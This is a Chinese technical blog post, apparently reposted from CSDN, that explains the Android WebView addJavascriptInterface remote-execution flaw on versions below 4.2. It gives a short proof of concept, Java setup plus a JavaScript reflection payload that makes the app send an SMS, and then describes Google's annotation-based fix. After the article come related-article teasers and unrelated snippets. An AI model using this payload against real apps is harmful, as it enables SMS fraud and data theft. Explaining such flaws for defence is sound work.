本文章由Jack_Jia编写,转载请注明出处。  
文章链接:

http://blog.csdn.net/jiazhijun/article/details/11131891

作者:Jack_Jia    邮箱: 309zhijun@163.com

一、漏洞描述

近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用均被曝光同类型漏洞。

二、影响版本

Android系统版本低于4.2

三、漏洞原理

漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

漏洞触发条件:

1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

2、使用WebView加载外部网页。

3、Android系统版本低于4.2

漏洞原因:

Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

四、POC代码

我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

WebView webview = new WebView(context);

WebSettings webset= webview.getSettings();
         webset.setJavaScriptEnabled(true);
         webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

利用该漏洞的外部javascript脚本:

<script>

var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

obj_smsManager.sendTextMessage("159********",null,"test",null,null);

</script>

出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来的链接。

五、相关链接

http://drops.wooyun.org/papers/548

http://50.56.33.56/blog/?p=314

Android WebView挂马漏洞--各大厂商纷纷落马的更多相关文章

  1. Android WebView漏洞(转)

    一.漏洞描述 近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件.向好友 发送欺诈短信.通讯录和短信被窃取等严重后果. ...

  2. android webview 漏洞背后的节操

    by superhei 2013/09/06 [注:本文提到的都是我个人的观点,该行为也是私人行为,与任何组织.公司无关.另:水军请自重!] 一.前言   这两天,一个2+年前的android web ...

  3. android WebView详解,常见漏洞详解和安全源码

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  转载请注明出处:http://blog.csdn.net/se ...

  4. Android WebView存在跨域访问漏洞(CNVD-2017-36682)介绍及解决

    Android WebView存在跨域访问漏洞(CNVD-2017-36682).攻击者利用该漏洞,可远程获取用户隐私数据(包括手机应用数据.照片.文档等敏感信息),还可窃取用户登录凭证,在受害者毫无 ...

  5. Chromium Graphics: Android L平台上WebView的变化及其对浏览器厂商的影响分析

    原创文章.转载请以链接形式注明原始出处为http://blog.csdn.net/hongbomin/article/details/40799167. 摘要:Google近期公布的Android L ...

  6. Android WebView File域同源策略绕过漏洞浅析

       0x00     我们首先讲一个webView这种方法的作用: webView.getSettings().setAllowFileAccessFromFileURLs(false);     ...

  7. 织梦dedecms修改include和plus重命名提高安全性防漏洞注入挂马

    织梦dedecms是新手站长使用得比较多的一个建站开源程序,正因如此,也是被被入侵挂马比较多的程序.下面就来跟大家说一下怎么重新命名dedecms的include文件夹以及plus文件夹来提高网站的安 ...

  8. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  9. 记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

    昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用 执行命令为 : /tmp/php  -s /tmp/p2.conf 基本可以确定是被挂马了 下一步确定来源 last 没有 ...

随机推荐

  1. StrPos,StrScan,

    Delphi提供的字符串函数里有一个Pos函数,它的定义是: function Pos(Substr: string; S: string): Integer; 它的作用是在字符串S中查找字符串Sub ...

  2. Android 判断当前线程是否为主线程

    public static boolean isInMainThread() { return Looper.myLooper() == Looper.getMainLooper(); }

  3. shell登录模式及其相应配置文件(转)

    参考<linux命令.编辑器与shell编程>(清华大学出版社) 当启动shell时,它将运行启动文件来初始化自己.具体运行哪个文件取决于该shell是登陆shell还是非登陆shell的 ...

  4. ZOJ 3829 Known Notation 乱搞

    乱搞: 1.数字的个数要比*的个数多一个,假设数字不足须要先把数字补满 2.最优的结构应该是数字都在左边,*都在右边 3.从左往右扫一遍,遇到数字+1,遇到*-1,假设当前值<1则把这个*和最后 ...

  5. Hadoop源代码导入Eclipse

    须要进一步学习hadoop.须要看看内部源代码实现.因此须要将hadoop源代码导入都eclipse中,简单总结一下,详细过程例如以下: 首先确保已经安装了git.maven3.protobuf2.5 ...

  6. D16Pascal的编译器和IDE

    https://github.com/Memnarch/D16Pascal https://github.com/Memnarch/D16IDE https://github.com/Memnarch ...

  7. 数据备份--dump(此作者有许多有用的博客文章)

    数据中 心操作大量的数据.当遭到破坏时,这就是一场灾难.这时候需要备份来恢复,及时你又大量的备份数据都没用,备份也肯定不是在浪费时间.你也许很幸运从 来没有经历过数据丢失.但是, 由于这种事情极少发生 ...

  8. 哈,又一款超级简单的队列(MQ)实现方案来了~

    开源的消息队列已经很多了,但大部分很重,实际环境下,很多可能只是使用到了一点功能而已,杀鸡使用牛刀,着实有些浪费了.很多时候,我们只想要一片绿叶,但它们给了我们整个的春天,很难消化.本着DIR精神, ...

  9. XSS漏洞解决方案之一:过滤器

    一:web.xml文件 <!-- 解决xss漏洞 --> <filter> <filter-name>xssFilter</filter-name>   ...

  10. winform窗体全屏

    bool fullscreen = false;Rectangle rect = new Rectangle();private void button4_Click(object sender, E ...